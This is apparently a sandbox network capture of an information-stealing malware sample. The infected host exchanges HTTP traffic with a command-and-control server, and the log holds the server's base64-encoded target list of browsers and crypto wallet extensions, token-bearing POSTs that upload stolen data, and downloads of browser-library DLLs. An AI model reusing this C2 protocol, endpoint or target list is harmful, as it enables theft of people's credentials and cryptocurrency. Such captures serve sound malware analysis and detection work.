Oct 26, 2024 05:54:48.976253986 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 26, 2024 05:54:49.056006908 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDBFCAEBFIJJKFHDAEC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 63 36 63 63 31 38 35 34 35 63 66 66 35 34 31 62 39 38 32 32 39 38 30 37 33 37 39 38 63 62 64 38 61 33 66 33 39 35 39 63 65 61 31 30 63 36 39 34 35 62 34 33 36 37 38 30 38 37 33 62 66 64 65 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 2d 2d 0d 0a Data Ascii: ------JJDBFCAEBFIJJKFHDAECContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------JJDBFCAEBFIJJKFHDAECContent-Disposition: form-data; name="message"plugins------JJDBFCAEBFIJJKFHDAEC--
Oct 26, 2024 05:54:49.336992025 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:54:49 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 26, 2024 05:54:49.337148905 CEST	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Oct 26, 2024 05:54:49.337179899 CEST	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Oct 26, 2024 05:54:49.337234974 CEST	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Oct 26, 2024 05:54:49.337271929 CEST	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Oct 26, 2024 05:54:49.337306023 CEST	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Oct 26, 2024 05:54:49.337333918 CEST	848	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Oct 26, 2024 05:54:49.337405920 CEST	204	IN	Data Raw: 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 74 6f 61 47 70 6a 61 47 74 72 61 47 31 70 5a 32 64 68 61 32 6c 71 62 6d 74 6f 5a 6d 35 6b 66 44 46 38 4d 48 77 77 66 45 31 35 56 47 39 75 56 32 46 73 62 47 56 30 66 47 5a 73 5a 47 5a 77 5a 32 Data Ascii: bGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Oct 26, 2024 05:54:49.339117050 CEST	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDAEHCBGIIJJJJKKKEH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 63 36 63 63 31 38 35 34 35 63 66 66 35 34 31 62 39 38 32 32 39 38 30 37 33 37 39 38 63 62 64 38 61 33 66 33 39 35 39 63 65 61 31 30 63 36 39 34 35 62 34 33 36 37 38 30 38 37 33 62 66 64 65 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 2d 2d 0d 0a Data Ascii: ------DGDAEHCBGIIJJJJKKKEHContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------DGDAEHCBGIIJJJJKKKEHContent-Disposition: form-data; name="message"fplugins------DGDAEHCBGIIJJJJKKKEH--
Oct 26, 2024 05:54:49.619496107 CEST	335	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:54:49 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 26, 2024 05:54:49.642118931 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJK Host: 185.215.113.206 Content-Length: 8443 Connection: Keep-Alive Cache-Control: no-cache
Oct 26, 2024 05:54:49.642203093 CEST	8443	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 26, 2024 05:54:50.446229935 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:54:49 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 26, 2024 05:54:50.690732002 CEST	94	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 26, 2024 05:54:50.969178915 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:54:50 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 26, 2024 05:54:50.969275951 CEST	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @
Oct 26, 2024 05:54:57.325202942 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDBFCBGDBKKECBFCGIE Host: 185.215.113.206 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Oct 26, 2024 05:54:58.113043070 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:54:57 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 26, 2024 05:54:58.202357054 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAEGHIJEHJDHIDHIDAE Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 26, 2024 05:54:58.982733011 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:54:58 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 26, 2024 05:54:58.999128103 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHJJJDAFBKEBGDGHCGD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 63 36 63 63 31 38 35 34 35 63 66 66 35 34 31 62 39 38 32 32 39 38 30 37 33 37 39 38 63 62 64 38 61 33 66 33 39 35 39 63 65 61 31 30 63 36 39 34 35 62 34 33 36 37 38 30 38 37 33 62 66 64 65 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFHJJJDAFBKEBGDGHCGDContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------BFHJJJDAFBKEBGDGHCGDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFHJJJDAFBKEBGDGHCGDContent-Disposition: form-data; name="file"------BFHJJJDAFBKEBGDGHCGD--
Oct 26, 2024 05:54:59.775681973 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:54:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 26, 2024 05:55:00.552701950 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIECFBAAAFHIIDGCGCBF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 63 36 63 63 31 38 35 34 35 63 66 66 35 34 31 62 39 38 32 32 39 38 30 37 33 37 39 38 63 62 64 38 61 33 66 33 39 35 39 63 65 61 31 30 63 36 39 34 35 62 34 33 36 37 38 30 38 37 33 62 66 64 65 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="file"------FIECFBAAAFHIIDGCGCBF--
Oct 26, 2024 05:55:01.349802017 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:00 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 26, 2024 05:55:01.797568083 CEST	94	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 26, 2024 05:55:02.258028030 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:01 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 26, 2024 05:55:05.887046099 CEST	94	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 26, 2024 05:55:06.167735100 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:06 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 